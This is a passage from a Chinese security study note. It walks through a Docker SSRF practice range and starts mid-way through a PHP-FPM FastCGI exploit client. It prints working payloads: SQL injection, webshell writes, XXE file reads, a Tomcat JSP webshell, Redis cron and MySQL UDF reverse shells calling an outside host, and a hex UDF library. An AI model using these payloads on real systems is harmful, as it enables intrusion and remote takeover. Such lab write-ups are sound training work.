self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('-u','--host', default="127.0.0.1",help='Target host, such as 127.0.0.1') parser.add_argument('-f','--file', default="/var/www/html/index.php",help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } #response = client.request(params, content) client.request(params, content) # response = urllib.parse.quote(response) # print(urllib.parse.quote("gopher://" +str(args.host)+":"+str(args.port) + "/_" + response))
使用方法还是一样的，生成的payload如下：
发给你写的文件就好了，记得URL编码一下= =
### 手动安装Apache-Module
apt updateapt install -y apache2apt install -y software-properties-commonadd-apt-repository -y ppa:ondrej/phpapt updateapt install -y libapache2-mod-php7.3 #这个就是apache的内置php模块service apache2 start #因为php内置在apache,所以只需要启一个服务
### 手动安装Nginx-FastCGI
如果采用RPM包方式安装php，那么默认安装路径应该在/etc/ 目录下；如果采用源代码方式安装php，那么一般默认安装在/usr/local/lib
目录下
apt updateapt install -y nginxapt install -y software-properties-commonadd-apt-repository -y ppa:ondrej/phpapt updateapt install -y php7.3-fpmapt install vim
然后`vim /etc/nginx/sites-enabled/default`选择性注释60和62
sock的话记得找找自己php对应的版本哈，不一样的
然后找php`vim /etc/php/7.3/fpm/pool.d/www.conf`看着注释哪一个
然后按序启动
> /etc/init.d/php7.3-fpm start #php-fpm 是一个独立的进程，需要单独启动
>
> service nginx start
为啥只启动php-fpm就可以了，那不是个进程管理器吗？你肯定想问
现在的新版FPM集成了PHP环境而已，不要误解:laughing:还是有进程管理的功能在的
### 参考链接
<https://cloud.tencent.com/developer/article/1425023>
<https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html>
## SSRF拟真靶场
用的国光师傅写的靶场，灰常棒！[链接](https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-28)
### 使用方法
1. 进入到目录下
2. 按序`sudo docker load --input 172.72.23.2x.tar`，全部导入为止
3. `sudo docker-compose up -d`开启环境食用！
### 拓扑图
### 信息收集
该网站公网只开了8080端口，且只有一个搜索框，输入[http://www.baidu.com/robots.txt看看](http://www.baidu.com/robots.txt%E7%9C%8B%E7%9C%8B)
好家伙这一看就是SSRF…下图也验证了
然后用`file:///etc/hosts`看一下内网网段
> 权限高的情况下还可以尝试读取 `/proc/net/arp` 或者 `/etc/network/interfaces` 来判断当前机器的网络情况
然后使用dict协议探测内网吧（一般只有TCP端口会回显）即`dict://172.72.23.2X:X/`结果如下
> 172.72.23.21 : 80
>
> 172.72.23.22 : 80
>
> 172.72.23.23 : 80、3306
>
> 172.72.23.24 :80
>
> 172.72.23.25 : 80
>
> 172.72.23.26 : 8080
>
> 172.72.23.27 – 6379
>
> 172.72.23.28 – 6379
>
> 172.72.23.29 – 3306
和拓扑图一样，说明环境没问题~可以开始了
> 也可以采用BP的爆破插件Turbo Intruder;速度相当快但是准确度…不敢恭维
>
> 使用方法和常用脚本看[链接](http://shaoefan.cn/2021/06/02/burp-turbo-intruder-cha-jian/)
### .22 学会内网目录爆破
通过SSRF爆破一下目录，这个时候可以试试上述的Trubo Intruder…看看上面链接就会
字典的话可用dirsearch的
6s就跑完了:joy:
发现这是被人日过的站了，直接代码执行
千万记得这个空格得二次编码…浏览器输入空格会变成+，自己改包手动变成空格再编码一次变成%20，同时得保证第一次解码后能被当做参数读取，所以再次编码
（不然哪有参数是cmd=cat /etc/hosts的，中间断开了是什么回事:laughing:)
命令执行成功！
### .23 SQL注入
标准的基础SQL注入靶场=.=现在要通过ssrf去完成注入;空格要二次编码避免歧义
爆列数为4（直接带SSRF的网页输入，BP里写还得再一次编码…麻烦）
>
> [http://172.72.23.23:80/?id=1’%20order%20by%205–%20](http://172.72.23.23:80/?id=1'%20order%20by%205--%20)
爆信息（只有第3列不能回显，其他都行）
>
> [http://172.72.23.23:80/?id=-1’%20union%20select%20database(),user(),3,version()–%20](http://172.72.23.23:80/?id=-1'%20union%20select%20database\(\),user\(\),3,version\(\)--%20)
爆表名
>
> [http://172.72.23.23:80/?id=-1’%20union%20select%201,2,3,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())–%20](http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,\(select%20group_concat\(table_name\)%20from%20information_schema.tables%20where%20table_schema=database\(\)\)--%20)
爆字段
>
> [http://172.72.23.23:80/?id=-1’%20union%20select%201,2,3,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=’flag_is_here’)–%20](http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,\(select%20group_concat\(column_name\)%20from%20information_schema.columns%20where%20table_name='flag_is_here'\)--%20)
拿到Flag
当然也可以写Shell（靶场的主人给网站目录开了777权限，可以直接写马了）
>
> [http://172.72.23.23:80/?id=-1’%20union%20select%20null,null,null](http://172.72.23.23:80/?id=-1'%20union%20select%20null,null,null),’<%3Fphp%20system($_GET[1]);%20%3F>’%20into%20dumpfile%20’/var/www/html/shell.php’—%20
从SSRF那个页面远程命令执行即可
### .24 命令执行
输入`http://172.72.23.24:80/`发现，是需要一个POST值的Web页面…这样就需要Gopher协议帮我们传递TCP数据流了
而且这个需要POST值的页面其实是一个经典靶场，就是一个简单的Linux ping命令
比如ping(‘参数为ip的POST传输’)，这个时候你的参数传入ip=127.0.0.1;dir就能执行dir命令了
补一下Linux知识吧:
多个命令可以放在一行上，其执行情况得依赖于用在命令之间的分隔符。
**如果每个命令被一个分号 (;) 所分隔，那么命令会连续的执行下去，如** ：
> printf “%s/n” “This is executed” ; printf “%s/n” “And so is this”
> This is executed/nAnd so is this/n
**如果每个命令被 && 号分隔，那么这些命令会一直执行下去，如果中间有错误的命令存在，则不再执行后面的命令，没错则执行到完为止**：
> date && printf “%s/n” “The date command was successful”
> 2021年 09月 09日 星期四 17:54:04 CST
> The date command was successful
> 所有命令成功执行完毕。
>
> date && suck && printf “%s/n” “The date command was successful”
> 2021年 09月 09日 星期四 17:57:21 CST
>
> Command ‘suck’ not found, but can be installed with:
>
> sudo apt install suck
后面的成功执行提示语句不会被输出，因为 suck 命令无法识别。
**如果每个命令被双竖线(||)分隔符分隔，如果命令遇到可以成功执行的命令，那么命令停止执行，即使后面还有正确的命令则后面的所有命令都将得不到执行。假如命令一开始就执行失败，那么就会执行
|| 后的下一个命令，直到遇到有可以成功执行的命令为止，假如所有的都失败，则所有这些失败的命令都会被尝试执行一次** ：
> date || ls / || date ‘duck!’ || uname -a
> 2021年 09月 09日 星期四 17:56:06 CST
第一个命令成功执行！后面的所有命令不再得到执行。
> date ‘duck!’ || dakkk || uname -a
> date: 无效的日期”duck!”
> dakkk：未找到命令
> Linux wzf-virtual-machine 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17
> 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
首先构造一下Gopher包，随便找一个POST修改即可
> 千万记得删除Accept-Encoding选项，否则ssrf回显的时候会被gzip编码导致乱码
成品如下
然后用之前我写的脚本二次编码（见Gopher章节）一下：
然后丢BP发送即可，这几个选项也是可以删的；Referer和Origin都是表示来源，Encoding必删影响回显
成品如下
### .25 XML实体注入
一个基础的 XXE 外部实体注入场景（照搬XXE-Labs的….详情可以去打这个靶场）
登录的时候用户提交的 XML 数据，且服务器后端对 XML 数据解析并将结果输出，所以可以构造一个 XXE 读取本地的敏感信息：
POST /doLogin.php HTTP/1.1Host: 127.0.0.1Content-Length: 153Accept: application/xml, text/xml, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36Content-Type: application/xml;charset=UTF-8Accept-Language: zh-CN,zh;q=0.9Connection: close<?xml version="1.0"?><!DOCTYPE GreatWan [<!ENTITY a SYSTEM "file:///etc/hosts">]><user><username>&a;</username><password>admin</password></user>
然后用之前我写的脚本处理一下，丢包里面发送即可（记得删掉Encoding选项）
成功读出Hosts文件~
### .26 CVE-2017-12615
Tomcat 中间件的 CVE-2017-12615
任意写文件漏洞，[详情](https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/README.zh-cn.md)
还是一样，构造JSP一句话的PUT数据包
> PUT /shell.jsp/ HTTP/1.1
> Host: 127.0.0.1:8080
> Content-Length: 5
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
> (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
> Accept-Language: zh-CN,zh;q=0.9
> Connection: close
>
> <%
> String command = request.getParameter(“cmd”);
> if(command != null)
> {
> java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
> int a = -1;
> byte[] b = new byte[2048];
> out.print(“<pre>“);
> while((a=in.read(b))!=-1)
> {
> out.println(new String(b));
> }
> out.print(“</pre>“);
> } else {
> out.print(“format: xxx.jsp?cmd=Command”);
> }
> %>
然后脚本处理，发出去；显示201就说明上传成功了（这个环境有BUG，无法命令执行；知道做法即可）
### .27 Redis未授权
之前都是Gopher，这次换Dict吧，只不过一次只能写一次命令；该主机没开SSH，也没开80，只能写计划任务了
SSRF 传递的时候记得要把 `&` URL 编码为 `%26`，上面的操作最好再 BP 下抓包操作，防止浏览器传输的时候被 URL
打乱编码（这里BP的包空格不用设置%2520，不编码或者%20都可；因为dict协议不像gopher，原本接的就是命令）
# 清空 keydict://172.72.23.27:6379/flushall# 设置要操作的路径为定时任务目录dict://172.72.23.27:6379/config set dir /var/spool/cron/# 在定时任务目录下创建 root 的定时任务文件dict://172.72.23.27:6379/config set dbfilename root# 写入 Bash 反弹 shell 的 payloaddict://172.72.23.27:6379/set x '\n\n*/1 * * * * bash -i >%26 /dev/tcp/X.X.X.X/X 0>%261\n\n'# 保存上述操作dict://172.72.23.27:6379/save
成功写入计划任务
成功反弹Shell！
### .28 Redis有认证
Redis的密码一般放在配置文件，常见路径如下
/etc/redis.conf/etc/redis/redis.conf/usr/local/redis/etc/redis.conf/opt/redis/ect/redis.conf
其实这个内网服务器还开了80端口的….而且还是个文件包含，所以这是个标准的LFI文件包含漏洞
本关卡Redis还加了认证，不能直接执行命令
所以一个个配置路径试，最终在`http://172.72.23.28/?file=/etc/redis.conf`找到了密码
最后用之前写的Redis未授权写Webshell的脚本生成Gopher数据流，发送即可（这里没有返回包的）
然后就能代码执行啦~
### .29 MySQL未授权
（可以直接用上面章节介绍的Gopherus生成gopher数据，这里重在讲原理）
Mysql通信协议看[链接](https://paper.seebug.org/510/)；没必要搞太懂，知道其他关系型数据库的未授权访问攻击和MySQL做法一样的即可
首先得获取到和mysql交流的数据包,自己本地Linux模拟一下：
先开个端口监听抓取数据包
# lo 回环接口网卡 -w 报错 pcapng 数据包tcpdump -i lo port 3306 -w mysql.pcapng
然后输入语句，获取到Flag
mysql -h127.0.0.1 -uroot -e "select * from flag.test union select user(),'www.sqlsec.com';"
关掉tcpdump；随后在Wireshark打开流量包，选个包右键->追踪TCP流，然后找到我们发给3306的TCP流，导出原始数据（其实就是一堆十六进制）
写个脚本，生成Gopher数据：
import urllib.parseimport retemp=""with open("Result.txt","r") as f: for line in f.readlines(): temp+=line.strip('\n')a=[temp[i:i+2] for i in range(0,len(temp),2)]result="gopher://172.72.23.29:3306/_%"+"%".join(a)print(urllib.parse.quote(result))
熟悉吧~然后打出去就好了
>
> gopher%3A//172.72.23.29%3A3306/_%25a1%2500%2500%2501%2585%25a2%253f%2500%2500%2500%2500%2501%2508%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2564%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2503%2534%2530%2530%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2536%252e%2535%2531%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%253d%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2566%256c%2561%2567%252e%2574%2565%2573%2574%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2575%2573%2565%2572%2528%2529%252c%2527%2577%2577%2577%252e%2573%2571%256c%2573%2565%2563%252e%2563%256f%256d%2527%2501%2500%2500%2500%2501
### .29额外 MySQL UDF提权
MySQL提权专题详细见国光师傅这个[链接](https://www.sqlsec.com/2020/11/mysql.html)，这里只讲SSRF细节
首先得找插件目录，依旧先本地Linux模拟，找到发送的数据包：
本地tcpdump监听抓取数据包
tcpdump -i lo port 3306 -w mysql.pcapng
执行命令
mysql -h127.0.0.1 -uroot -e "show variables like '%plugin%';"
然后生成的流量包丢给Wireshark，追踪TCP流，筛选发给3306的，勾原始数据选项
通过SSRF打过去即可，成功回显插件路径
老样子，还得本地模拟监听抓取数据包，再通过SSRF的Gopher写入so；
因为命令太长，先登录
> mysql -h127.0.0.1 -uroot
然后写进去，动态链接库地址可以看[链接](https://www.sqlsec.com/tools/udf.html)，这里用64位的可以成功
> SELECT
> 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000
> INTO DUMPFILE ‘/usr/lib/mysql/plugin/udf.so’;
得到数据包后，和之前一样的做法，不再赘述
用脚本处理完通过SSRF发出去，可能一直显示Wait，但是已经写进去了
还是一样，再次本地Liunx模拟一下：
这里一定要先登录再写命令，不然tcpdump抓不到包…巨坑:cry:
mysql -h127.0.0.1 -uroot
创建自定义函数（参考你导入的动态链接库支持哪些自定义函数）
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
在这个[链接](https://www.sqlsec.com/tools.html)JS编码一下命令，bash1的编码不行就换bash2
然后再去执行
select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuNjAuMjgvMjMzMyAwPiYx|base64 -d|bash -i');
反弹成功！
说明本地使用是没问题的；那么现在抓到流量包后，再放到SSRF里去Gopher：
一定得要有命令执行再继续操作….别不带脑子搞:joy:反弹成功~
### 后话
[国光的SSRF靶场](https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-1)
[不详细的未授权访问总结](https://xz.aliyun.com/t/6103#toc-1)
## Soap+Session反序列化+CRLF
推荐先去这个[链接](https://www.w3school.com.cn/soap/index.asp)了解一下Soap和WebServices，这个[链接](http://staff.ustc.edu.cn/~shizhu/DotNet/WSDLxj.htm)系统性学习WSDL+Soap；不必研究过深，我们不折腾开发的标准化:joy_cat:
Session反序列化相关知识和漏洞见我的笔记
简而言之
